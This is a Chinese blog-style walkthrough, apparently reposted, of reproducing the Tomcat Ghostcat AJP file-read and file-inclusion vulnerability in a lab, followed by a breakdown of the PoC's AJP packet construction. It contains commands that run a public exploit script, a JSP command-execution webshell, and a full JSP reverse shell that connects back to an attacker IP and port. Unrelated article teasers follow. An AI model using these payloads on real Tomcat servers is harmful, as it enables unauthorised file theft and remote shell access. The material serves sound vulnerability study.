Tomcat- AJP協議文件讀取/命令執行漏洞(幽靈貓復現)詳細步驟

一、漏洞描述

Apache Tomcat是由Apache軟件基金會屬下Jakarta項目開發的Servlet容器.默認情況下,Apache Tomcat會開啟AJP連接器,方便與其他Web服務器通過AJP協議進行交互.但Apache Tomcat在AJP協議的實現上存在漏洞,導致攻擊者可以通過發送惡意的AJP請求,可以讀取或者包含Web應用根目錄下的任意文件,如果配合文件上傳任意格式文件,將可能導致任意代碼執行(RCE).該漏洞利用AJP服務端口實現攻擊,未開啟AJP服務對外不受漏洞影響(tomcat默認將AJP服務開啟并綁定至0.0.0.0/0).

二、危險等級

高危

三、漏洞危害

攻擊者可以讀取 Tomcat所有 webapp目錄下的任意文件。此外如果網站應用提供文件上傳的功能,攻擊者可以先向服務端上傳一個內容含有惡意 JSP 腳本代碼的文件(上傳的文件本身可以是任意類型的文件,比如圖片、純文本文件等),然后利用 Ghostcat 漏洞進行文件包含,從而達到代碼執行的危害

四、影響范圍

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

五、前提條件

對于處在漏洞影響版本范圍內的 Tomcat 而言,若其開啟 AJP Connector 且攻擊者能夠訪問 AJP Connector 服務端口的情況下,即存在被 Ghostcat 漏洞利用的風險。注意 Tomcat AJP Connector 默認配置下即為開啟狀態,且監聽在 0.0.0.0:8009 。

六、漏洞原理

Tomcat 配置了兩個Connector,Connector組件的主要職責就是負責接收客戶端連接和客戶端請求的處理加工。它們分別是 HTTP 和 AJP :HTTP默認端口為8080,處理http請求,而AJP默認端口8009,用于處理 AJP 協議的請求,而AJP比http更加優化,多用于反向、集群等,漏洞由于Tomcat AJP協議存在缺陷而導致。

攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp下的任意文件以及可以包含任意文件,如果有某上傳點,上傳圖片馬等等,即可以獲取shell。

瀏覽器不能直接支持AJP協議。所以實際通過Apacheproxy_ajp模塊進行反向代理,暴露成http協議(8009端口)給客戶端訪問

相關的配置文件在conf/server.xml。

構造兩個不同的請求,經過tomcat內部處理流程,一個走default servlet(DefaultServlet),另一個走jsp servlet(JspServlet),可導致的不同的漏洞。

文件讀取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。

七、部署靶機環境

靶機:ubuntu22.04

配置:可以看看這個,無腦操作(當然可以使用docker)

在 Ubuntu 20.04 上安裝 Apache Tomcat 教程 - Bandwagonhost中文網-Bandwagonhost中文網

攻擊機:Linux kali2023

八、復現過程

1、探測IP

2、任意文件讀取

下載Exp

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

cd CNVD-2020-10487-Tomcat-Ajp-lfi/chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py 

讀取文件內容(-f后即是指定的文件):

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f WEB-INF/web.xml
Python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f index.jsp

3.任意文件包含(這個需要結合文件上傳漏洞)

這里自己上傳了一個木馬到ROOT目錄:test.txt

腳本內容:

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

訪問一下是可達的

修改Poc:

主要是這,將/asdf改成/asdf.jspx

執行腳本

python2 cvefileinclude.py 192.168.155.184 -p 8009 -f test.txt

成功

嘗試反彈shell:

腳本:

<%@page import="java.lang.*,? java.util.*,? java.io.*,? java.net.*"%><%try {String host = "192.168.155.166";int port = 9001;Socket socket = new Socket();socket.connect(new? InetSocketAddress(host, port), 2000);Process process;if (System.getProperty("os.name").toLowerCase().contains("win"))? {process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();} else {process = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();}InputStream? pin = process.getInputStream();InputStream? perr = process.getErrorStream();OutputStream pout = process.getOutputStream();InputStream? sin = socket.getInputStream();OutputStream sout = socket.getOutputStream();while(!socket.isClosed())? {while(pin.available()? > 0)? sout.write(pin.read());while(perr.available()? > 0) sout.write(perr.read());while(sin.available()? > 0)? pout.write(sin.read());sout.flush();pout.flush();}process.destroy();socket.close();} catch (Exception e) {}%>

九、POC解析

(一)引入的包及作用

1、struct:用于處理二進制數據,AJP協議基于二進制

2、socket:建立與Tomcat服務器的AJP端口的TCP連接,發送構造的惡意請求并接收響應。

3、argparse:解析命令行參數

4、StringIO(隱式引入):在AjpForwardRequest.parse() 中,用于將二進制數據流轉換為類文件對象,便于流式解析

(二)函數

Pack_strings:函數

將字符串?s?按特定二進制格式序列化:[2字節長度] + [字符串字節數據] + [1字節的0]

?????? >h:?表示大端(Big-endian)的有符號短整數(2字節)

?????? >H:大端的無符號短整數(2字節)

?????? %ds:動態長度的字節串(例如?5s?表示 5 字節),對應?s?的 UTF-8 編碼數據。

????????b:一個有符號字節(1字節),固定為?0

大端序是最高有效字節在前,小端是最低有效字節在前。AJP協議是基于TCP的,而網絡傳輸通常采用大端序,也就是網絡字節序。同時Tomcat AJP協議(Apache JServ Protocol)明確要求所有字段以大端序編碼,且字符串以?\0?結尾

Unpack函數

解包二進制數據,返回一個元組

計算需要讀取的字節數à讀取字節à按照格式解析讀取到的字節

unpack_string函數

從二進制流中解析 AJP 協議格式字符串,記住前兩個字節表示整個字節流的長度

(三)類

AjpBodyRequest類

處理客戶端與服務器之間的數據傳輸

數據傳輸方向:

讀取字節à空則返回數據頭,非空則添加數據長度à根據方向拼接數據并返回

循環發送數據塊 → 等待服務器指令 → 根據指令決定是否繼續發送

GET_BODY_CHUNK:表示對方要求發送下一個數據塊(用于分片傳輸)。

SEND_HEADERS:表示對方已發送響應頭,需結束數據傳輸。

len(data) == 4:表示空包

AjpForwardRequest類

構造和發送AJP請求到目標服務器

分配數值標識符,AJP協議要求將HTTP方法以數值而不是字符串形式傳輸

后面定義標準請求頭和請求屬性

SC_REQ:該頭是 AJP協議預定義的標準頭

區分預定義頭和自定義頭,將HTTP請求頭按AJP協議規范序列化為二進制數據

若屬性名為req_attribute,表示這是一個嵌套屬性,其值需拆分為兩個部分(名,值)à打包屬性(名)值。看到這里可以基本明白漏洞原理。

AJP 協議未對 javax.servlet.include.* 屬性進行安全校驗,攻擊者通過偽造請求頭實現 路徑穿越。通過設置req_attribute 屬性,注入惡意路徑,觸發 Tomcat 解析任意文件,從而泄露敏感信息。例如:{'name':'req_attribute', 'value':['javax.servlet.include.path_info', 'WEB-INF/web.xml']},

在屬性列表末尾添加 0xFF,表示 屬性序列結束

Serialize函數:生成二進制數據包

Parse函數:解析接收到的AJP協議數據包,將其轉換為結構化的請求對象

send_and_receive函數:處理AJP協議的請求發送和響應接收

參數傳入

/asdf 是用于觸發 AJP 文件包含漏洞的任意路徑,實現路徑覆蓋,訪問目標文件

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/907773.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/907773.shtml
英文地址,請注明出處:http://en.pswp.cn/news/907773.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

IEEE P370:用于高達 50 GHz 互連的夾具設計和數據質量公制標準

大多數高頻儀器&#xff0c;如矢量網絡分析儀 &#xff08;VNA&#xff09; 和時域反射儀 &#xff08;TDR&#xff09;&#xff0c;都可以在同軸接口的末端進行非常好的測量。然而&#xff0c;復雜系統中使用的互連很少具有同軸接口。用于表征這些設備的夾具的設計和實施會對測…

OneForAll 使用手冊

OneForAll 使用手冊 一、概述 OneForAll 是一款功能強大的子域名收集工具&#xff0c;旨在幫助安全測試人員和網絡管理員全面發現目標域名的所有子域名&#xff0c;為后續的安全評估和漏洞測試提供基礎支持。它集成了多種子域名發現方法&#xff0c;包括搜索引擎查詢、DNS 枚…

從前端工程化角度解析 Vite 打包策略:為何選擇 Rollup 而非 esbuild。

文章目錄 前言一、esbuild 與 Rollup 的技術特性對比&#xff08;一&#xff09;esbuild&#xff1a;極速開發利器&#xff0c;功能尚待完善&#xff08;二&#xff09;Rollup&#xff1a;專業打包工具&#xff0c;功能全面強大 二、Vite 打包策略的工程化考量因素&#xff08;…

Chrome 通過FTP,HTTP 調用 Everything 瀏覽和搜索本地文件系統

【提問1】 Chrome調用本地 everything.exe, everything 好像有本地 FTP 服務器&#xff1f; 【DeepSeek R1 回答】 是的&#xff0c;Everything 確實內置了 HTTP/FTP 服務器功能&#xff0c;這提供了一種相對安全的瀏覽器與本地應用交互的方式。以下是完整的實現方案&#x…

Java八股文智能體——Agent提示詞(Prompt)

這個智能體能夠為正在學習Java八股文的同學提供切實幫助&#xff1a;不僅可以幫你優化答案表述&#xff0c;還能直接解答八股文相關問題——它會以面試者的視角&#xff0c;給出貼合求職場景的專業回答。 將以下內容發送給任何一個LLM&#xff0c;他會按照你提示詞的內容&…

Android 緩存應用凍結器(Cached Apps Freezer)

一、核心功能與原理 1. 功能概述 目標&#xff1a;通過凍結后臺緩存應用的進程&#xff0c;減少其對 CPU、內存等系統資源的消耗&#xff0c;優化設備性能與續航。適用場景&#xff1a;針對行為不當的后臺應用&#xff08;如后臺偷偷運行代碼、占用 CPU&#xff09;&#xff…

內存管理 : 06 內存換出

內存換出的重要性及與換入的關系 現在我們講第25講&#xff0c;主題是內存的換出&#xff08;swipe out&#xff09;。實際上&#xff0c;上一講我們講的是內存的換入&#xff0c;而這一節聚焦于內存的換出。 換入和換出必須合在一起工作&#xff0c;不能只有換入而沒有換出。…

第一節 51單片機概述

目錄 一、單片機系統組成 &#xff08;一&#xff09;、單片機硬件系統 &#xff08;二&#xff09;單片機的軟件系統 二、STC89C52單片機 &#xff08;1&#xff09;、基本信息 &#xff08;2&#xff09;、命名規則 &#xff08;3&#xff09;、單片機內部結構圖 &am…

前端面試準備-4

1.React Router的history模式中&#xff0c;push和replace有什么區別 都是用于頁面導航&#xff0c;但是他們對瀏覽器歷史記錄的處理不一樣。 ①&#xff1a;push是在瀏覽歷史棧里加入一條新的瀏覽歷史&#xff0c;點擊返回鍵會返回上一個頁面 ②;replace是替換當前歷史記錄…

【機器學習基礎】機器學習入門核心:Jaccard相似度 (Jaccard Index) 和 Pearson相似度 (Pearson Correlation)

機器學習入門核心&#xff1a;Jaccard相似度 &#xff08;Jaccard Index&#xff09; 和 Pearson相似度 &#xff08;Pearson Correlation&#xff09; 一、算法邏輯Jaccard相似度 (Jaccard Index)**Pearson相似度 (Pearson Correlation)** 二、算法原理與數學推導1. Jaccard相…

Unity3D仿星露谷物語開發57之保存庫存信息到文件

1、目標 保存下面庫存欄中信息到文件中。 2、修改SceneSave.cs腳本 添加2行代碼&#xff1a; 3、修改InventoryManager對象 添加Generate GUID組件。 4、修改InventoryManager.cs腳本 添加繼承自ISaveable 添加屬性信息&#xff1a; private string _iSaveableUniqueID;pub…

測量3D翼片的距離與角度

1&#xff0c;目的。 測量3D翼片的距離與角度。說明&#xff1a; 標注A 紅色框選的區域即為翼片&#xff0c;本示例的3D 對象共有3個翼片待測。L1與L2的距離、L1與L2的角度即為所求的翼片距離與角度。 2&#xff0c;原理。 使用線結構光模型&#xff08;標定模式&#xff0…

深入理解 SQL 的 JOIN 查詢:從基礎到高級的第一步

在處理數據庫時&#xff0c;我們常常需要從多個表中提取數據。比如想知道一個城市的天氣情況&#xff0c;同時又想知道這個城市的具體位置。這就需要將 weather 表和 cities 表結合起來查詢。這種操作在 SQL 中被稱為 JOIN 查詢。 現在看下兩種表的情況 1.weather 表&#xff…

上傳頭像upload的簡易方法,轉base64調接口的

1.首頁使用el-image顯示數據&#xff0c;用的是轉base64后端返給的 <el-table-column prop"avatar" align"center" label"頭像"><template #default"scope"><el-image style"height: 40px;width: 40px;" :sr…

[AD] CrownJewel-1 Logon 4799+vss-ShadowCopy+NTDS.dit/SYSTEM+$MFT

QA QA攻擊者可以濫用 vssadmin 實用程式來建立卷影快照&#xff0c;然後提取 NTDS.dit 等敏感檔案來繞過安全機制。確定卷影複製服務進入運作狀態的時間。2024-05-14 03:42:16建立卷影快照時&#xff0c;磁碟區複製服務會使用機器帳戶驗證權限並列舉使用者群組。找到卷影複製過…

rtpmixsound:實現音頻混音攻擊!全參數詳細教程!Kali Linux教程!

簡介 一種將預先錄制的音頻與指定目標音頻流中的音頻&#xff08;即 RTP&#xff09;實時混合的工具。 一款用于將預先錄制的音頻與指定目標音頻流中的音頻&#xff08;即 RTP&#xff09;實時混合的工具。該工具創建于 2006 年 8 月至 9 月之間。該工具名為 rtpmixsound。它…

GitHub 趨勢日報 (2025年05月28日)

&#x1f4ca; 由 TrendForge 系統生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日報中的項目描述已自動翻譯為中文 &#x1f4c8; 今日獲星趨勢圖 今日獲星趨勢圖 2379 agenticSeek 1521 computer-science 841 n8n 577 langflow 351 qlib 282 skt…

threejsPBR材質與紋理貼圖

1. PBR材質簡介 本節課沒有具體的代碼&#xff0c;就是給大家科普一下PBR材質&#xff0c;所謂PBR就是&#xff0c;基于物理的渲染(physically-based rendering)。 Three.js提供了兩個PBR材質相關的APIMeshStandardMaterial和MeshPhysicalMaterial,MeshPhysicalMaterial是Mes…

Android 12系統源碼_多屏幕(四)自由窗口模式

一、小窗模式 1.1 小窗功能的開啟方式 開發者模式下開啟小窗功能 adb 手動開啟 adb shell settings put global enable_freeform_support 1 adb shell settings put global force_resizable_activities 11.2 源碼配置 copy file # add for freedom PRODUCT_COPY_FILES …

C# 將HTML文檔、HTML字符串轉換為圖片

在.NET開發中&#xff0c;將HTML內容轉換為圖片的需求廣泛存在于報告生成、郵件內容存檔、網頁快照等場景。Free Spire.Doc for .NET作為一款免費的專業文檔處理庫&#xff0c;無需Microsoft Word依賴&#xff0c;即可輕松實現這一功能。本文將深入解析HTML文檔和字符串轉圖片兩…